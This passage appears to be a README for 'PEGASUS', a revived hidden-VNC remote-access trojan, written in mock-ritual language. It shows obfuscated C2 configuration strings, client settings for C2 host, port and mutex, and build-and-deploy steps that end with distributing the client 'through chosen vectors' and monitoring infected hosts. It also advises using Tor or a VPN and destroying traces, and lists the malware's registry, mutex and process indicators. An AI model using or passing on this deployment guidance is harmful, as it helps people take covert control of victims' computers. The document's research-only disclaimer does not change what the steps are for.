## ⚙️ CONFIGURATION

### **Server Secrets** (`PEGASUS/Program.cs`)
```csharp
// The ancient incantations...
string arg = reupload("mbzUMoegmlNm[Rma;iDz]GrS8ODgde|[z{8aCP`i");
string requestUri = reupload("b~~zy0%%xk}$mc~b\u007fh\u007fyoxied~od~$ieg%^boYasdo~Iexzexk~ced%^2::%gkcd%Zky$~r~5~eaod7MBYK^:KKKKKKHXHS@9H?SDES?M=G>NE9HX]SZ\\DY^K");
// Modify these to point to your own C2 altar
```

### **Client Markings** (`Peg/Settings.cs`)
```csharp
public static string Ports = "4782";          // Listening Port
public static string Hosts = "127.0.0.1";     // C2 IP Address
public static string Version = "PEGASUS";     // Identification Sigil
public static string Mutex = "PEGASUSMUTEX";  // Singularity Lock
```

## 🚀 DEPLOYMENT RITUALS

### **For the Server (The Watcher)**
1. **Build the throne** - Compile as shown above
2. **Configure the altar** - Edit C2 endpoints in `Program.cs`
3. **Light the beacon** - Run `PEGASUS FULL VERSION.exe`
4. **Await the whispers** - Monitor connected souls

### **For the Client (The Infection)**
1. **Forge the vessel** - Compile client with target settings
2. **Bless the payload** - Obfuscate if desired (not included)
3. **Release the wings** - Distribute through chosen vectors
4. **Listen for heartbeats** - Watch for connections in server

## ⚠️ THE THREE LAWS OF SHADOWS

### **First Law: Isolation**
```
NEVER run on bare metal.
ALWAYS use VM with NO network.
DISABLE shared folders/clipboard.
TAKE snapshot before execution.
```

### **Second Law: Anonymity**
```
NO real IP addresses.
NO personal data in config.
NO traces left behind.
USE VPN/Tor if testing remotely.
```

### **Third Law: Discretion**
```
SPEAK not of this in open channels.
SHARE not with the uninitiated.
DOCUMENT only in encrypted forms.
DESTROY all when done.
```

## 🔒 SAFETY PROTOCOLS

### **The Iron Cage (VM Configuration)**
```bash
# Recommended: VirtualBox/VMware with:
# - 4GB RAM, 2 Cores
# - NO network adapter (or host-only)
# - Snapshot before first run
# - Encrypted disk image
```

### **The Silent Alarm (Monitoring)**
```powershell
# Watch for these IOCs (Indicators of Compromise):
# - Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PEGASUS
# - Mutex: "PEGASUSMUTEX", "PEGASUS_FULL_VERSION"
# - Process: "PEGASUS FULL VERSION.exe", "Pegasus_Client.exe"
# - Port: 4782 (default C2)
```

## 🧩 KNOWN ISSUES & SOLUTIONS

### **The Missing PeToShell**
```csharp
// Created stub in PEGASUS/Design/PeToShell.cs
// Original functionality unknown - likely a PE to Shellcode converter
// Add your own implementation if needed
```

### **.NET Framework Reference Assemblies**
```xml
<!-- If build fails with NU1100: -->
<!-- 1. Install .NET Framework 4.6.1 Developer Pack -->
<!-- 2. Or modify TargetFramework to net48 in .csproj -->
```

### **Guna UI2 Dependencies**
```
// DLL included in dll/ folder
// If missing, extract from original dll.zip
// Update HintPath in .csproj if moved
```

## 📜 LEGEND & LORE

### **The Name**
*Pegasus* - Winged horse of Greek mythology, symbolizing freedom and power  
*HVNC* - Hidden Virtual Network Computing, the art of unseen control  
*Dead Rat* - Our resurrection of what was left for dead

### **The History**
This code was abandoned in 2022, left to rot in digital graveyards.  
We've exhumed it, cleaned its bones, and given it new life.  
Handle with respect - or fear - as appropriate.

### **The Warning**
```
This tool is a double-edged sword that cuts both ways.
It can be used for:
- Security research and education
- Authorized penetration testing
- Understanding attacker methodologies

It CANNOT be used for:
- Unauthorized access to systems
- Criminal activity
- Harming others

The shadows watch those who walk in them.

## 🗝️ FINAL INCANTATION

```bash
# To seal this knowledge in your private repository:
git init
git checkout -b main
git add README.md
git commit -m "first commit"
git remote add origin https://gitea.thetempleofdoom.com/drjones/dead-rat.git
git push -u origin main

# Remember: With great power comes great responsibility.
# And with this power comes even greater consequences.
